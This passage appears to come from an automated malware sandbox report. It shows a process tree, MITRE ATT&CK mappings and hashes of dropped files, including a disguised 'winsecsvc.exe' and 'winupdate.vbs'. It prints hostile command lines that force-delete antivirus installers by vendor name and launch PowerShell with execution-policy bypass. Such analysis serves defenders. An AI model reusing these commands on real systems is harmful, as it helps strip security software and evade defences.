  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:6052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:6076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:6124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3420
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3492

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\WindowsNT\winupdate.vbs //b //nologo
1⤵
- Checks computer location settings
PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bypass -f "C:\Users\Public\WindowsUpdate.ps1"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
25d7ac29d798600ddc5fd880b162958b

SHA1
a2ba91e14155cfa5c26670e17ac606f3f28b0be2

SHA256
3c6d5ecae46dd9f6756e444bc51635cdd9696f3ed9fe0601cf41059a04085f88

SHA512
d91a9028c0fdf3761edbccddaa460573281b7d390efc7dfe3ebef46ce5ede53d36a7148c523e312b5daedc91c11cdb2cc8d0f8b475339cd35dba044595778d45

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5C63.tmp

Filesize
1KB

MD5
366ff394f302d320ec99af2ce4b3abb8

SHA1
24ac45ef62a795f790e011bb8616e65db82000e4

SHA256
adca176647dccb0d343d2cdd12cf9906524881d113f44ce3f160ef9471e067e7

SHA512
2b8053929bb94977b7e7ecc89db01296b58da9e05ed0799043dfbf863c6bbd495e7f995c76213fedd937516cdd02687efd3676aaeb32c4a029fcd799728ac0ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kp3jto4m.pty.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\txjdra5w\txjdra5w.dll

Filesize
3.9MB

MD5
c3fb0f4dfbd16b643333136fb486f798

SHA1
5b729c2a13258e3483fe4a507dffe38dbfbe8de7

SHA256
aef43c927074dafab3fe67208fc37f75c2bd4c037cd9e18eb569281cc387ed4e

SHA512
5ab93a2aa33c02dc2447fb9dbed148ab18a0d977b103973d037f4f0cebf7d3fb91dd896eefd6c8ee2294384074f3d7c632b60072b718b6af7da5a551f501f218

Download Submit
C:\Users\Public\WindowsNT\Common\winsecsvc.exe

Filesize
1.4MB

MD5
3f282aa75be8b2b0fca1bd9b6eee324a

SHA1
d111da1aef59e17c605c88ee0857100bc9f5286a

SHA256
fd426c27ba5b900915e3d69f9a5eff1961f4b48546e60bf72a579163be701605

SHA512
c974ffcf6e472d39cb30cff871f1fe664b4164c4684816e7a915e77a4d0ff6075f5c78581ff4ca20daee6ea7de0039e232801ed827ec043ec91ced6857c89dfc

Download Submit
C:\Users\Public\WindowsNT\Common\winsecsvc.exe

Filesize
1.4MB

MD5
3f282aa75be8b2b0fca1bd9b6eee324a

SHA1
d111da1aef59e17c605c88ee0857100bc9f5286a

SHA256
fd426c27ba5b900915e3d69f9a5eff1961f4b48546e60bf72a579163be701605

SHA512
c974ffcf6e472d39cb30cff871f1fe664b4164c4684816e7a915e77a4d0ff6075f5c78581ff4ca20daee6ea7de0039e232801ed827ec043ec91ced6857c89dfc

Download Submit
C:\Users\Public\WindowsNT\Common\winsecsvc.exe

Filesize
1.4MB

MD5
3f282aa75be8b2b0fca1bd9b6eee324a

SHA1
d111da1aef59e17c605c88ee0857100bc9f5286a

SHA256
fd426c27ba5b900915e3d69f9a5eff1961f4b48546e60bf72a579163be701605

SHA512
c974ffcf6e472d39cb30cff871f1fe664b4164c4684816e7a915e77a4d0ff6075f5c78581ff4ca20daee6ea7de0039e232801ed827ec043ec91ced6857c89dfc

Download Submit
C:\Users\Public\WindowsNT\Update.xml

Filesize
1KB

MD5
095840f4e5e4e3fa81523e10499fa34a

SHA1
f2b88c3c1a5b52b4fec81f1a1a4908a7a257faf9

SHA256
85e63e1ec9ad0994ea2e5407c05c2844976e3b9760ee94f08d3f33d86facc7f3

SHA512
ff357d14c726d8328eb60b22f3f05c993f12820ca7dae343c55b70cc511496bf834d8eac0cfee2d4e485cae664e5e6f27d8cd85541b6ed4943eb5a3545865d94

Download Submit
C:\Users\Public\WindowsNT\winupdate.vbs

Filesize
119B

MD5
340c74526dee666e0bbe09ca24691001

SHA1
94e1050435916895ece47afa99161ed0b15ea655

SHA256
ed72c9a4fcd93eec1e3ea33448c2cc0e9c7a6a3517063ba40f36a86d0b2f84e6

SHA512
1ce79d5ea8f48dfbd99e2f8a69077ae803347edd6870d1a716a8d8912108e3a263ddb8a24d899f52c62551f0f3dad6d1de02695db2eb75f91bd899d53ba37670

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\txjdra5w\CSC339D91D6D75245BDA63E3798A9A45A2B.TMP

Filesize
652B

MD5
e2d0e601924c9e8dc42c88e80b04e3df

SHA1
76e64ad8cda2037480131cc6cc1d273a498e5d39

SHA256
8987806591c526c438314584ff7d5695cdfca33b2d0a5ff0083c0a9b6587462e

SHA512
3292cb5bb13d882f70c59684f349e873ba3c7d6b4af01f297075ce99a43a8b209805d9e61dca113c70b7517d651d80c1eb0b4448fb04de100f7b6ebbfa7fda5c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\txjdra5w\txjdra5w.0.cs

Filesize
2.0MB

MD5
66d8b0a8363ef3b8580506e326704f22

SHA1
0eae5188995c96de541ea7b99929f5b839376303

SHA256
af13ed51145e37f90ed67277aa5f1d7679e4eeea5c79b307889b21036372a66c

SHA512
fad819edbb52431f2f15601f1244a4e08e70517138264a8115224e3a77c2af02d433e12bebdc524a970f5213c75b8ddc308d8fda531b73da9bdc232436144dd8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\txjdra5w\txjdra5w.cmdline

Filesize
613B

MD5
253881275351c408a35e5c0b4d7aa062

SHA1
2a4b94b71940535b990fd21751500d09493c26f6

SHA256
b45983343ebced2b02d4fd8c8dbf0b0c7254b65728636d82f85828d5575feaba

SHA512
3f4a85bd412f918670cdc79c403a777cb09ef710ae1c5571861523cdd991d3969b333762df7f7af5199591766bdc479553ac029d6c015f44690dd98e6eff21a6

Download Submit
memory/1044-147-0x000001E0F4B70000-0x000001E0F4B80000-memory.dmp

Filesize
64KB

Download
memory/1044-146-0x000001E0F4B70000-0x000001E0F4B80000-memory.dmp

Filesize
64KB

Download
memory/1044-145-0x000001E0F4B70000-0x000001E0F4B80000-memory.dmp

Filesize
64KB

Download
memory/1044-144-0x000001E0F4B70000-0x000001E0F4B80000-memory.dmp

Filesize
64KB

Download
memory/1044-143-0x000001E0F4B70000-0x000001E0F4B80000-memory.dmp

Filesize
64KB

Download
memory/1044-142-0x000001E0DB050000-0x000001E0DB072000-memory.dmp

Filesize
136KB

Download
memory/1280-219-0x000001D9764D0000-0x000001D9764E0000-memory.dmp

Filesize
64KB

Download
memory/1280-220-0x000001D9764D0000-0x000001D9764E0000-memory.dmp

Filesize
64KB

Download
memory/5128-184-0x0000017BDB5E0000-0x0000017BDB5F0000-memory.dmp

Filesize
64KB

Download
memory/5128-183-0x0000017BDB5E0000-0x0000017BDB5F0000-memory.dmp

Filesize
64KB

Download